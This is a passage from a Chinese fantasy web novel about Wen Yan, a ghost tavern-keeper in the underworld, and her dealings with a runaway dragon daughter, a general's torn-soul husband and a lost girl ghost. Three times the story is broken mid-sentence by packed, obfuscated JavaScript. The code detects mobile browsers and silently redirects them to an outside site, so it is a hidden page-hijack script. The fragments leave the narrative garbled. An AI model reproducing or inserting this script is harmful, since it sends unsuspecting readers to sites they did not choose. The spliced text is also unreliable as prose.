她沾沾自喜得意道:“不然大人以为这世上还有谁能弹出如此美妙的音律?青楼里的琵琶女就是我呀! 哎呀,上次贪酒不小心叫那老鸨请的捉妖师扣住了,一直让我弹曲取悦那些狗屁不通的臭男人。幸亏郡主姐姐心善帮我脱身,放我回家,您知道的我们妖族修行须得逢恩必报,我哪里敢一走了之啊,所以就答应郡主姐姐帮她看着狗皇帝和他的耳目啦! 后来我想了想与其每天晚上睡屋顶,不如直接贴身跟着庄通,索性就想办法留在他身边做小妾了。对了,化型的术法还是大人您教的呢,您忘记啦?” 额……健忘的闻砚大人的确忘了。 不过这并不妨碍健忘的闻砚大人打孩子,这熊孩子不知天高地厚,太欠揍了!! 一阵夹杂着“啊啊啊”和“嗷嗷嗷”偶尔蹦出两句“大人饶命”的腥风血雨之后,重新面带微笑的闻砚大人决定先顾眼前事。 毕竟她最擅长管不了的事情就放放,放着放着就忘记了,忘记的事情等同于不存在。 “杨将军,你的事归根到底还是人间事,需要你自己去解决,可是云岫我要带回忘川,他的魂魄被撕裂,原本就是个碎过一次的新魂,现在在阳间呆得越久越容易散,你能理解吧。” 杨浅当然得理解啊,难不成现在这个样子,让闻砚把断成两半的云岫还给她吗? 她点点头,还是千恩万谢地点点头。 杨浅这边了结,接下来就是众目睽睽之下手刃凡人的小妖了。 闻砚大人虽不介意吃亏,可说到底是个商人,还励志做个合格的商人,商人的第一准则就是不做亏本生意。 她挑眉看向长离,“我帮你养这生魂几日完全没有问题,小囚牛的事情,我们打个商量呗?” 长离:…… 最终二人以“闻砚帮长离养着陵光神君的幽精之魂,待他找到合适的容器再来取回,而长离今日并没看见囚牛下凡,只是途径都护府发现异人有违天道出手相助”达成友好协议。 闻砚给长离留了个酒肆地址,“忘川城黄泉路七十三号,望山背水很打眼,如果找不到就随便找个鬼差问问,你说是我的朋友,他们经常来送货很熟路的,不敢骗你。” 她一手拎着打回原形的小囚牛,一手挥着胳膊,留下一个潇洒的背影在长离的目送下一边吹着口哨一边神清气爽地往黄泉口飘去。 然而这一路上很快便不怎么神清气爽了。 “大人~大人~好大人~” 小囚牛扭着屁股撒娇,企图让闻砚放过她,“好大人,姑奶奶,您最貌美心慈,放我走吧~不然我爹要拿我炖汤了~” 她显然还没忘记自己假扮小妾时学会的那套“狐媚子”做派,左一句“大人~”又一句“姑奶奶~”,听得闻砚拳头都硬了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363390|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “胡说八道,你爹哪回不是舔着老脸跟在你们九个后面擦屁股,他要舍得拿你炖龙汤倒也省事。而且你少糊弄我,别以为我不知道你要回去做什么,人间的事情哪由你们妖界掺合了?” 闻砚义正言辞,是真心为她好,“人人都有自己的气运,杨将军的确女中豪杰,论私心我也很喜欢,可是她的命是她自己选的,就该她自己担着,否则绒城枉死的百姓的性命又算什么呢?” 小囚牛却不以为意,打蛇随棍上,攀着闻砚的胳膊气呼呼道:“郡主姐姐才没错,都是那个臭皇帝,大坏蛋比仙帝还小气……” 听她口不择言,闻砚顿觉头痛,捧着心口怒骂:“祸从口出,少给你爹招点恨吧!!” 囚牛瑟瑟缩缩,小声控诉:“大人上次不也说仙帝小气……”见闻砚真生气了,她立刻认怂,“我回去保证不干预郡主姐姐的命运,我只陪她挨过这段日子立刻就回家。她是真心喜欢云公子的,大人能掐会算一定知道他们还有三世情缘,云公子这下子不能入轮回了郡主姐姐肯定很伤心,大人您就放我走吧~” 闻砚被她缠得心烦:“舌头捋直了说话,哪里学的臭毛病,你又不是青丘那群臭狐狸。” 说起云岫这事儿她心里也是五味杂陈,本来她要是不把人带来阳间两人还有三世情缘可续,这下子恐怕生生世世不得相见了,闻砚心里很是唏嘘。 罢了,总归是她干预了凡人因果,“你要保证绝对不会擅自改变杨将军的命运。” 找了个水塘放走囚牛后,闻砚突然感觉自己被掏空。她捧着自己的脸颊临水自照,企图用美貌压制自己心里那点子不太平。 可是欣赏了半天心中还是觉得不安。 不对,不对不对不对…… 后知后觉的闻砚大人总觉得自己忘了个什么大事儿? 到底是什么大事儿呢? 人间,燕北都护府—— 长离背着剑准备离去。 杨浅脸上的血污遮住了半边娟秀的脸颊,站在黎明昏暗中面目可怖。 她不死心地拦住长离,“道长,若是闻砚大人没有阻止,今日只怕酿成大祸。虽说事情是我来做,可祭魂术这种邪术说到底与你这个教授之人也脱不开干系,你难道就不怕天劫降世吗?” 听见杨浅的质问长离好似听见了什么笑话,“我几时说过我教你的是祭魂术?是你自己自作聪明,要拿着方子多方求证,被人迷惑心智狸猫换太子而不自知,此刻却来怪我,人啊,实在有趣。” 他长叹一口气,低声笑了起来,笑罢想起往事很是怅然:“可惜她忘了许多事,也忘了祭魂术不是这么用的,不过她居然为此插手实在出乎我的意料。” 长离语气满不在乎:“你们杨家,世世代代禁锢一个真神的生魂,所以世世代代死于战场要受百鬼吞噬之苦,你们都不在乎这天劫,一辈又一辈前赴后继,现在却来问我一个外人?” “不过,”他想到闻砚当时急切的样子,嘴角噙笑,语气也温柔下来,“她确实很好,你因祸得福得到了神的宽恕,将来有机会摆脱杨氏一族的命运。某种程度上来说,你的确应该感激你的好夫君,你想复活他虽是执念,倒也惹人怜惜。” 白衣道长衣袂飘飘,仙风道骨,见杨浅迷茫不知所措,想起她不过是个没有灵力法术的凡人,说到底,还是他们越界把手伸来人间的结果。 他虽然一向厌恶六界众生,但是今次走这一遭已经得到了自己想要的,算是求仁得仁,对杨家后人的怨气也平息不少,因而愿意多说两句。 长离直言不讳,“你若还有疑问,不如想想你们那位号称真龙天子,君权神授的好陛下,是不是有与异类勾结之嫌。你能结识妖物,以他今日所作所为,未必身后没有高人指点。” 寥寥数语,杨浅是个多敏锐的人啊,足够她从中拼凑出事情的真相。 双方博弈如同两军对垒,她能收留囚牛为自己所用,皇帝未必不能找来其他妖精鬼怪,自己这次是急病乱投医被人钻了空子。 她拧着眉若有所思。 长离也不与她多说,一步一步越走越远,直到马上要看不见了,杨浅终于反应过来,震惊之余不禁喃喃问道:“难道……难道闻砚是……” 没有人回答她,远处的白点彻底消失在浓雾之中。 燕北都护府迎来了第一缕晨光。(第一卷完) 14. 老鬼穿新衣 再次躺在有间酒肆柜台后面的躺椅里,闻砚顿觉浑身舒畅。 她脱去那身从头裹到脚的罩袍,拢了件轻薄纱衣也不管形象不形象得往那儿一歪,指尖微微上下翻动,柜台上的一摞小纸人立刻随着法术的牵引你拉我我牵你地扭动起来,不到一炷香的功夫,已经成串投入了酒肆的营业中。 黄色冥纸折出来的小纸人不足酒坛子高,但胜在数量庞大,三五个叠在一起,也能稳稳当当地穿梭在大堂里,一会儿给这桌添坛酒,一会儿给那桌上两碟卤味,忙得热火朝天。 灵力充沛果然好啊!连酒肆都热闹许多。 闻砚撑了个懒腰身心愉悦地高呼道:“云岫,大堂有鬼结账,你去一下。” 见她心安理得地使唤新伙计,老伙计阿金不由一个大白眼,阴阳怪气地说:“主人倒是会使唤鬼。” 闻砚法力恢复之后阿金和阿三也鸡犬升天,得以再次化形。 而阿金化形之后第一件事就是不忘吐槽自己那不着四六的主人。 闻砚却觉得这样的阿金很是有趣,她忍不住伸手捏了捏阿金圆乎乎的脸,嘻嘻笑着打趣她:“我们家小阿金生气啦?吃醋啦?是不是害怕只见新人笑不见旧人哭啊?” 阿金被她那一副吊儿郎当的鬼模样气得倒仰,想闹又不敢闹的,面色阴沉地发出警告:“你这人真是不知好歹,什么事情都记不住还随随便便带鬼回来,谁知道是什么鬼,出了问题谁管啊,每次都这样,不像话。” 闻砚不以为意,鬼捡回来不就是用的嘛!何况她为了修好云岫还颇费了一番功夫。 因上次将云岫带回有间酒肆后一直没有找到合适的缝补材料,她一直很发愁,还是前不久碰巧遇到了白无常,她绞尽脑汁地暗示了一下,才重新得到了一段返魂木的枝桠。 这不,新伙计缝缝补补,很快就能使唤着用了。 她同小伙计耍花腔,“我又不是人知什么好歹?你不要化了人形就学人说话啊喂!而且只是一个小鬼而已,皮相尚可,留下来陪我一段时日有何不可?他这是卖身还债懂不懂?你难道要让我做亏本买卖吗?这次我出门可没得什么好处反而搭进去一个人情……” 听见闻砚又开始喋喋不休,阿金立刻捂耳大喊“师傅别念了,俺老孙的头好痛啊”,话尾还留在耳边,人已经端着托盘一溜烟窜出二里地。 闻砚看她唯恐避之不及的模样,忽有一种恶作剧终于得逞的快感,轻快地呷了一口茶,窝回躺椅上不停地翘脚脚。 酒肆大厅里鬼声鼎沸,云岫的算筹拨得噼里啪啦,“您的两坛花间醉,一碟卤舌一共十三万两冥币……天字桌的三碗醉海子二十二万三千两冥币……” 因他模样俊俏,吸引了不少女客,酒肆翻红不少。 闻砚见他算账算得精细,本着不用白不用能者多劳的精神,索性一股脑把店里的账簿都交给云岫,自己一个鬼准备躲个清闲。 然而一个本质上八卦的鬼是很难真正清闲的,这不,很快闻砚便闲的心慌,把耳朵摘下来凑到小鬼堆里听来一桩奇闻。 “听说英宗皇帝被妖怪吸干了?” “不是什么妖怪,据说是个妃子,和将军通奸,为了那奸夫不惜弑君。” 说妖怪可能众鬼见怪不怪,可说到桃色新闻,任凭你是人是鬼没有哪个不愿意听一耳朵的。 不一会儿大堂里已是群鬼荟萃,七七八八围作一堆听他说故事。 永昌年间,人间梁国发生了一件大事,英宗皇帝刚刚过完三十春秋宴居然诡异地暴毙而亡。 据说是断手断脚被削成人棍倒挂在房梁上,足足七日才被发现,死状之惨烈便是翻遍史书也十分罕见,让一干大臣们想变个什么体面的理由都编不出来,只好认命得撅起屁股一股脑扎进本朝最惊心动魄的案子里。 然而案件本身除了死者的身份也并没有什么好值得惊心动魄的,因为最后大理寺查来查去,查到后宫鹂美人身上。 这个妃子原不是什么大人物,既没有显赫的身世,也没有惊人的美貌,只是有一样是很特别的,鹂美人极善音律,一手琵琶弹得惊为天人,于是进宫半年便得封美人,能够常伴君王左右,只为听曲解闷。 之所以查到此女头上,乃是有皇后检举,说见过她与燕北极寒之地的将军互通书信,那将军在信中亲切地称她“鹂娘”,二人早就勾结在一起,要鹂美人殉葬。 鹂美人本与将军青梅竹马,二人情投意合已经私定终身,奈何将军家门庭显赫,最终二人阴差阳错,鹂美人进宫为妃,将军另娶贤良。 说来也是巧合,年前将军从北地归京述职,在皇家晚宴上再次见到心爱的姑娘,一时情难自已,二人做出有违君臣之举,最终暗结胎珠…… 等等! 听到这里的闻砚感觉自己好像听到了什么了不得的消息,颤抖着嘴皮小声问:“这个将军可是姓杨?” 讲故事那鬼活见鬼似的,“啊”了一嗓子,是与不是都没说出口,被门外一老汉截断话头。 “闻砚大人别来无恙啊。” 老汉抄着手,两根编成辫子的眉毛从眉尾一直耷拉在地上,屁股后面拖着一条黄脊龙尾游进来,扑通一声就给闻砚跪了。 “大人救命。” 好好好,吃瓜吃到自己头上了。 闻砚捏着眉心,“老黄龙你多大年纪了跪我,是不是嫌我活得太滋润啊?” 老黄龙心道:嘿,您猜怎么着,的确如此。 “哎,家门不幸啊,家门不幸,这个不孝女,居然插手人间祸事,还杀死了一个帝星,搅和得人家魂飞魄散。” 老黄龙一边哭一边拿眼睛去瞟闻砚,眼见着这姑娘如老僧入定抄起袖子地往那一坐,满脸寒霜,心下不由一凛,暗道不妙。 “是我的长女囚牛,这丫头闯了大祸,特来请闻砚大人救命的。” 这还像句实话。 闻砚的脸色稍微好看了一点。 眼见主人点了头,阿三高高兴兴地去赶人:“散了散了都散了,今日不营业,请留下酒钱便走吧。” 新来的鬼没见过这样做生意的,赶客还这么理直气壮,正准备捏着拳头上前理论,被身旁的同伴一把抱住,示意他看看周围。 方才还鬼声鼎沸的大堂里此刻已经走的稀稀拉拉,甚至有的鬼影都不见了还能留下一句“从我账上划,我昨日刚存了两亿酒钱。” 这酒肆的酒这么好喝吗? 新鬼不解,满脑袋问号地伸手去端桌上的碗想尝一口,然而酒水还未沾唇,酒肆的伙计阿金不知何时已经站在他身后,拿了把五尺长的青龙大刀往门口一立,幽幽道:“今日闭店,请吧。” 噫!吓鬼! 新鬼连忙捂着脸落荒而逃。 “怎么回事儿?你且说来我听听。” 事情倒也简单,囚牛与闻砚分开后直奔皇城天都而去,一路上风餐露宿听得不少小道消息,其中一则便是来自燕北都护府的。 燕北苦寒之地,死守大梁国门百余年,谁也没想到居然有朝一日能破关,三州掌印督军杨将军居功自傲,要求陛下割让北地十城与燕北都护府管辖,帝不允,次日羯人南下。 皇帝被吓破了胆子,很快应允,羯退,于是将军杨氏养寇自重的消息漫天飞舞,弹劾的折子如雪花般压下来。 最终,杨浅被要求进京解释。 明眼人都知道这是个圈套,将军来则如韩信,将军不来则是谋逆,将军唯有一死以证并无不臣之心。 杨浅若想活,要么造反名留青史,要么被造反遗臭万年,反正她活,杨氏死,她死,杨氏活,只能选一个,这便是人心险恶。 妖族却不同。 妖与神一样天生灵力,却保留了兽的习性,没有那么多弯弯绕。 小囚牛本为报知音之恩而来,知道杨浅有一劫哪能坐视不理,于是她铆足劲儿在人间苦等了三个月,最终得以化成乐工混入宫廷,又混作宠妃,在床上用琴弦割断了天子的喉咙。 老黄龙指天发誓,“小女绝对没有虐尸,更没有那个本事将一位人皇魂飞魄散,老朽猜想是那梁国皇后所为。皇帝喜欢制衡之术,对待皇后及其母家千防万算,甚至连个孩子也不给皇后留,皇后早恨他入骨。而且您知道的,小女从不嗜血伤人,出入人间一趟闹成这样,其中定有缘由。” 缘由?还能有什么缘由。 闻砚悠悠叹气,她知道老黄龙为什么来有间酒肆了。 可怜天下父母心呐。 若是老黄龙舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15363391|168128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得下他的龙子龙孙,恐怕早就攒够功德位列仙班了,哪里还轮得到混在一众妖精里倚老卖老呢?可惜,妖之所以是妖就是因为还保留着原始的□□,否则岂不是谁都能普度众生封神成仙了。 “囚牛之事我可以为她作证,你若写天书上秉天地我亦可为文书署名,不过我的身份不明,也不知天道认不认。” 闻砚调笑着,仿佛并不在乎自己作为担保人将要折损的功德,“你若要写便快些拿来我签字,不然过几日我不一定在忘川。” 她近来隐隐察觉到自己的地魂所在,准备不日动身前往探查。 老黄龙没想到,自己准备好的一番说辞刚刚起了个头,连哭诉都没来得及哭诉,一切竟得来全不费功夫,当场就愣在那里,满脸写着不可思议。等好不容易回过神来,手上已经捧了一张轻飘飘的白纸,那纸面上小小的角落里龙飞凤舞地写着“闻砚”二字,与有间酒肆门匾上的“有间”二字如出一辙。 “走吧,去吧,去救你女儿,文书上有我用法力封印的一段记忆,是我知道的所有前因后果。有了这文书,希望渡天劫之时能为她开脱一二。” 见老黄龙皱皱巴巴的老脸上一脸的感动,闻砚捏着眉心,忍着一巴掌拍死对方的冲动,挥了挥袖子把老黄龙扇出二里地,浅送了他一程。 “这老东西,下一句肯定要说大人大恩大德没齿难忘,将来让囚牛认您做干妈……我做她干妈做什么?哪有我这么貌美如花的干妈?” 嘴上虽然这样吐槽,心却变得软软的。 阿金和阿三对这样想一出是一出的主人早已见怪不怪,唯有云岫一脸担忧地望着闻砚,就差把“阿浅如何”挂在脸上了。 闻砚假装没看见,转头打着哈哈,“那个,回来也有几日了,你们不无聊吗?,不如我们去孟子山赏秋吧!” 云岫一动不动。 “哎,尘世疾苦不过须臾,你已不能转世轮回,何必再强求其他?你要是真的为杨将军好就别再见她了,让她好好入轮回吧。” 闻砚拍了拍云岫的肩,安慰他:“我修好了你,你又不能轮回,与其变成孤魂野鬼,留在我这里做个伙计不好吗?” 见云岫一脸茫然,阿金急脾气恨不能替他答应,“哎我说你这鬼,榆木脑袋吗?若不是主人看你可怜收留你,你害死了一城的人,是个已经魂魄归无连生死簿上都除名了的,天罚已了,只有魂飞魄散一条路了,你难道还想去缠着好不容易得神明宽恕,有机会轮回转世的杨浅吗?” 她真想敲开云岫的脑壳看看里面装的什么,主人花了那么大力气才留他存世,为此还担了干涉活人命运的天罚之罪,偏偏这鬼要去作死。 阿金还想说些什么,被闻砚眼疾手快抄起柜台上的腌萝卜塞了满嘴,只能呜呜咽咽地表达不满。 闻砚两手一摊,难得的正经,与云岫说道:“杨将军轮回百世,将来洗净灵魂说不得你们还有机会再续前缘,若你再干预活人生死,一切因果就只有你们自己承担了。” 她心里万马奔腾,心想真是草了!!她真不想管这破事儿了!! 偏这时有鬼悉悉索索扒着门缝偷窥。 “滚出来!!” 小鬼瞬间感觉有寒冰刮骨,这纯属是迁怒了。 被迁怒的小鬼本鬼:…… 他哆哆嗦嗦地跪在地上以头点地,话都说不利索,“请……请问,哪位……哪位大人叫闻砚?我家仙君有请。” 仙君?她与哪位仙君有交情吗? “不见,什么狗屁仙君,不认识。” “大……大人且慢,我是沧溟仙君座下小童……”小鬼说着生怕眼前这位不信,赶忙撕去身上的鬼皮,现出真身,递上请帖。 闻砚仔细嗅了嗅,倒是仙气萦绕,的确是仙界小童没错。 所以她就说不喜欢和仙族打交道吧,好像仙族身份多了不起似的,藏头露尾生怕别人看出来他是个仙子。 “昂哼”,闻砚扬了扬下巴,示意那小仙童继续。 “我家仙君说,上次得大人请了一坛酒,很是感激。他不方便再临冥界,特地请大人前往昆仑一叙,他已备好果蔬佳酿等大人共饮。” 哦,想起来了。 冥界主神不欢迎仙界的七太子。 15. 你家在哪里 可是,这关她屁事儿? …… “不去。” 骄傲的闻砚大人翘着脚果断拒绝。 果不其然,听到这话小仙童瞬间脸色铁青,犹如脱绳野狗,化作青面獠牙之兽,猛得扑向闻砚。 雕虫小技。 闻砚袖风拂动间,方才还在眼前活蹦乱跳的小仙童瞬间被碾作齑粉。 离得近所以被殃及池鱼的云岫:“咳咳咳,大人这是…” 他强任他强,清风拂山岗的闻砚拍了拍沾满木屑的手,又拍了拍压根儿没沾染一丝灰尘的衣裙。 不论是大厅里亲近的还是躲在门外看热闹的,总之众鬼为之震惊。 闻砚则很是无语。 她倒不是觉得这区区傀儡把戏便能伤她。 “若真心邀请,即使自己不便前往,使唤一两个座下童子总是有的,何必做一傀儡前来试探,真是无趣。” 闻砚是觉得这个沧溟仙君多半是有病,不请自来不说,还企图对她呼来喝去,这也就算了,权当他真王子自带王子病,可他是不是觉得全天下都是傻瓜该供他戏耍,拿个这么拙劣的木偶来蒙混过关。 而这件事好笑就好笑在,若她只是个百十年的小鬼当然看不出什么,也许就将错就错遭他戏弄了,他一个仙君大人,身居高位,自然不必对一小鬼感到抱歉。 可惜这位仪表堂堂玉树临风的仙君大人实在运气不佳,遇到了自己这么个无聊的老鬼。 几千年来没事儿做无聊的时候她最喜欢钻研的就是傀儡术,别说这种低阶的人偶,便是落笔生花也不过是消遣取乐的玩意儿。 不过说到吃喝玩乐,闻砚大人的记性又变得非常好,“话又说回来”,她问云岫:“你当真要留在这里,不和我一起出去散散心吗?” 得了闻砚那句“将来还有机会再续前缘”,云岫整个鬼都容光焕发起来。 他借花献佛,递上一只盛满酒水的酒盅,“大人尽管去办正事儿吧,我帮大人看着酒肆,就当大人怜惜我,让我赚点冥钱傍身。至于阿浅……”,他笑起来,那抹笑怎么看怎么灿烂,显得他一如从前温和又自足,“我在这等她,便是百年千年,我总能等到她。” 云岫的魂魄还是淡淡的,但眼睛里盛满阳光。 了不起,闻砚肃然起敬。 人有人权,鬼有鬼权。 这是云岫自己的选择,闻砚并不强求。 她摇头笑了笑,再三叮嘱云岫“不许见杨将军”“不要离开酒肆太远,阵法不大,容易庇护不到”等等,然后心满意足地接过云岫递过来的酒盅一饮而尽,开开心心地拎着她那把破伞一脚踏出酒肆的大门。 身后,方才还寂静无声的酒肆里再次聚满小鬼,一路高歌饮酒,狂欢起来。 —— 孟子山属八荒地界,面东而阳盛,从前闻砚属阴体是绝对不会踏足的。 “不知是不是有神魂支撑我感觉体内阳气充盈,阴阳调和,居然和没事儿鬼一样。而且那里怎么会有我一魂?” 闻砚老神在在,俗话说得好,背靠大树好乘凉,然后她就真挑了棵最大的梧桐树打窝。 一边搭还一边笑,一边笑还一边道:“若能拾回真魂,以后就再也不用干这帮鬼还愿的买卖了,彻底赎回自由身,爽。” 阿金蹲在一旁咬着瓜子,顺便监督自己的主人干活儿,一边嗑一边看,一边看还要一边吐槽:“您说说您,一把年纪了,怎么还骗小鬼呀?亏得是云岫那傻子也信你的鬼话,不然看您老脸往哪里搁。” “灵魂转世,再续前缘,那都是生命短暂的凡胎□□编出来的戏文,真转世投胎了,一碗孟婆汤灌下去,任凭你生前风光如何,三魂七魄也只能眼睁睁看着被天道法则拆成几千份,全都打碎重组那还能叫原本那个人吗?” 阿金说完,又塞了颗橡果在嘴里,左嚼右嚼,磕得津津有味。 闻砚左手不知道从哪里顺来一根树杈子,盘在手心里搁那儿比划来比划去,听见阿金的吐槽她不以为意。 “若真是互相吸引的灵魂,即便打碎重组几千次,再次相遇的时候也还是会似曾相识啊,该在一起的缘分,又不在意是不是记得哪一世的经历。就像现在即使你已死了千年,只留了一魄在你的羽毛里,难道就不是我的朋友了吗?精卫啊精卫,你别仗着我记性不好总是欺负我。” 她说完这句话阿金惊呆了,“你……你喊我什么?” “精卫啊?虽然我还没想起来,你为什么会变成一只笔,哎呀大差不差嘛,话说……你觉得我搭的这张床如何?” 阿金:好丑,但不敢说。 她捂着脸支支吾吾:“其实,貌似,也许,大概,看起来……勉强能睡。” 闻砚:…… 她想吃小孩儿怎么办!!! 好的,这一切都是只是美好的幻想。 闻砚并没能如愿吃到小孩,并且她的床的的确确在半夜十分,趁着月黑风高一路从树上塌到树下,最后变成了一堆废料。 而那个半夜三更无证飘行的“肇事鬼”只负责把两手一摊,瞪着两只清澈的大眼睛望向事主。 “美人姐姐,你还好吗?” 闻砚撩开头顶的杂木,发出了灵魂一问:“你是谁?” 四周鸦雀无声。 她伸出双手揉了揉刚才磕在地上的脑袋,再次发出灵魂一问:“我又是谁?” 困在笔身里出不来的阿金:…… 好好好!!这么玩儿是吧!! 经过二鬼短暂的友好交流,事情的发展逐渐变成了闻砚不愿意相信的样子。 “所以你的意思是,我大晚上发疯,自己拆了自己的床不说,居然不要脸得在这儿唱歌儿???还唱得十里八荒的妖魔鬼怪都睡不着,把路过的你当球踢?” 她指着自己的手指尖轻颤。 不是,你听听你说这话,骗鬼呐? 啊不对,这就是明目张胆地骗鬼!! 肇事鬼却丝毫不觉得自己说的哪里有问题。 她不明所以,疯狂点头,急得快哭了,“不是把我当球踢,是把地精婆婆……你说地精婆婆长得丑话还多……” 想到地精婆婆化形后多半会保留原形的长嘴眯眯眼,脑袋顶上没剩两根的头发,闻砚瞬间哑火。 这……这好像似乎大概也许,确实是她会做的事情。 好,就算是这样。 闻砚认了。 “那你又是谁?为什么在这儿?” 小姑娘看起来老老实实,“我是纪未晞,方才看你被树压住了,想把你挖出来,如果你没事我就先走了……” 蒹葭萋萋,白露未晞。 真是个好名字。 闻砚点点头,还想再问点什么,瞬间感觉自己的脑壳里一阵排山倒海,似火山喷发要炸开一样。 偏她睡觉前收敛了阿金和阿三,她不开口,两个器灵出不来。 便在这样火山大爆发欲摧天地之乱的情况下,一只苍白的手递到她面前。 小姑娘睁着双仿佛会说话的大眼睛,“你……你还好吗?这是玉衡清魂丹,一个道长哥哥教我做的,可以帮助刚刚化形的鬼稳固魂魄,你要试试吗?” 见闻砚眼神都变得呆滞,她大着胆子把药丸子塞进闻砚嘴里,一边塞一边抖,一边抖还一边磕磕巴巴地说,“方才我……我听地精婆婆说,你这是离魂症发作了……要……要固魂……” 闻砚不语,不动,不拒绝,也不主动。 不会死了吧??不对不对,她是鬼,鬼已经死过了。 算了!!姑且死马当活马医吧! 纪未晞眼睛一闭心一横,使出全力一击把药丸一巴掌拍下去。 好,这下子药是塞进去了,可方才还勉强算是个人形的闻砚大人,头!!掉!!了!!! “啊!!!你…你你你…你…” 纪未晞死的时候不足十六岁,哪里见过这架势,顿时三魂吓掉两魂,叫得比刚下坟地的野鬼还难听。 她要吓活了。 怎么办??怎么办??要不要去把那颗头捡回来??还是要做什么?? 纪未晞想到亲眼目睹过地精婆婆的飞驰妖生,她觉得自己还能再死一死。 “哦~你完了!!你把闻砚大人的脑袋玩掉了!!小美人~与其给闻砚大人陪葬,不如先让哥哥我好好吃掉啊哈哈哈…” “皮薄脆爽,看起来就很好吃……” “哇,鬼原来也能死啊??你完咯,姑奶奶一定会把你剁成二百块儿碎片拿去酿酒哈哈哈哈” “桀桀桀……” “……” 方才被闻砚的歌声吓得不见踪影的山野妖精们不知又从哪里冒出头来,一唱一和地恐吓纪未晞。 “吵死了,嚷什么嚷什么。” 闻砚被吵得整个鬼都不好了,如大梦初醒,浑身冒冷汗。 半晌,她睁开眼。 好的,看着和自己同一水平高度的脚尖,她理解纪未晞为什么叫成这个鬼样子了。 哎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“别哭了,这么漂亮的脸蛋上挂两行血泪多少有点儿不和谐。看在你方才帮了我的份儿上,礼尚往来,要不我帮你找找家?” 听见她夸海口,整座孟子山的孤魂野鬼都飘来凑热闹。 “老祖宗,老祖宗,我是承德四十八年死的,您帮我瞧瞧……” “这姑娘运气也太好了吧,居然还能遇到这天大的好事,闻砚大人您看看我……” “姑奶奶发发善心,我家在夹子坡路途遥远我老是迷路……” “大人大人……” 小鬼们凑在一起叽叽喳喳。 闻砚指节叩响腰间悬挂的青铜铃禁步,一小节置于铃中的犀角被点燃,随后青烟四起,她袖中罗盘飞速旋转。 “别摇啦别摇啦,”一只小斑鸠从闻砚袖子里掉出来。 鸟小脾气大,她张嘴便骂:“谁!谁打扰老娘睡觉,老娘撕……嘶!” 骂着骂着,发现自己的鸟毛被什么人揪住了。 “你!”她扭头,倒吸一口凉气,“闻……闻砚大人……” 闻砚依旧笑眯眯。 “灌灌,劳驾,开个寻踪阵。” 闻砚腕间红色的丝线婉若游龙吐信轻柔地缠住少女发抖的指尖,顺便屈指一弹,弹飞了刚落在姑娘手上的灌灌。 灌灌没能成功贴贴美人,不高兴地扒拉着地上燃烧后的犀角香灰嘟囔道:“东南三百里……” 在灌灌的指引下香灰如有神助,居然画出歪扭八卦,使磷火刚聚成山形轮廓。 诸鬼正要瞧个热闹,闻砚突然抬脚碾散卦象。 “东南巽位三百里是吧?” 她状似无意地踢飞脚边的枯木,恰好盖住灰烬里将浮未浮的凤凰尾羽纹,而后掏出一张山海舆图抛向空中。 袖风轻轻卷过泛黄的舆图,图上山脉突然渗出金芒,在晨晓下显得格外刺目。 闻砚眉眼弯弯得意地轻笑,转瞬又绷着脸戳小白花泪汪汪的眼角:“梧桐镇清水巷纪家,三进院子东南角有口青石井——是也不是?” 纪未晞吓得打了个泪嗝:“您、您、您怎么连我院子里有口井都知道?” “当然是因为本大人通晓阴阳......嘶!” 真是操了!! 正在凹造型的闻砚突然捂住脖子,新鲜缝补的咒纹裂开细缝,几缕地魂气息顺着金线渗入舆图。 这玩意儿自己缝还真缝不了,居然又裂了! 16. 紫薇星降世 白露未晞,幽蓝鬼火掐着尖儿在峡谷中游荡。 少女洁白的脖颈与整齐的断口在深海蔚蓝的黎明中形成了一种诡异的平衡。 只有阿金,眼珠子泡在眼泪里直打转。 “好啦别哭啦,几千年了,回回都要哭一鼻子。” 闻砚不知道怎么安慰阿金,只好配合地仰着头,任由阿金拿着绣花针在自己脖子上比划,转移话题般对纪未晞说:“今夜子时阴兵借道,我顺路捎你一程。” 阿金抱着针线盒小声提醒:“大人,上个月才有鬼告状说您扰乱了阴间秩序总是插队......” “哪个鬼说的?我这明明是善心大发帮助迷途少女!谁不满意尽管去告。”闻砚把脑袋拧到背后瞪她,手上却利落地用红线拽紧纪未晞手腕。 她必须要去一趟纪家,因为她从纪未晞的命理中看见了自己的地魂。 阿金不知道,阿金叹气。 “大人,冥界主神已经出关,您千万不能再拳打黑白无常,脚踩十殿阎罗了,会出事儿的……” 怎么不能? 闻砚心里很不服气。 虽说按理她确实欠执明神君的人情。 可她是鬼诶,人情人情嘛,关她一个死鬼什么事啦? 不想继续这个注定没结果的话题,闻砚转头盯上了未晞小白花。 她好奇地问:“对了,你是怎么死的?” 阿金:八卦就八卦,一定要上来就这么直接吗? 纪未晞:“……” “其实我不知道。” 清水巷纪家几世耕读,根深叶茂,却在纪老爷这一代出了件大事。 纪老爷有六个儿子,六个儿子都考上了进士。 一门六进士,何等的荣耀,就算纪老爷想低调都不行,于是在纪老爷最小的儿子高中这一日,纪家摆了流水席宴请四方客。 偏偏就是这客宴出了问题。 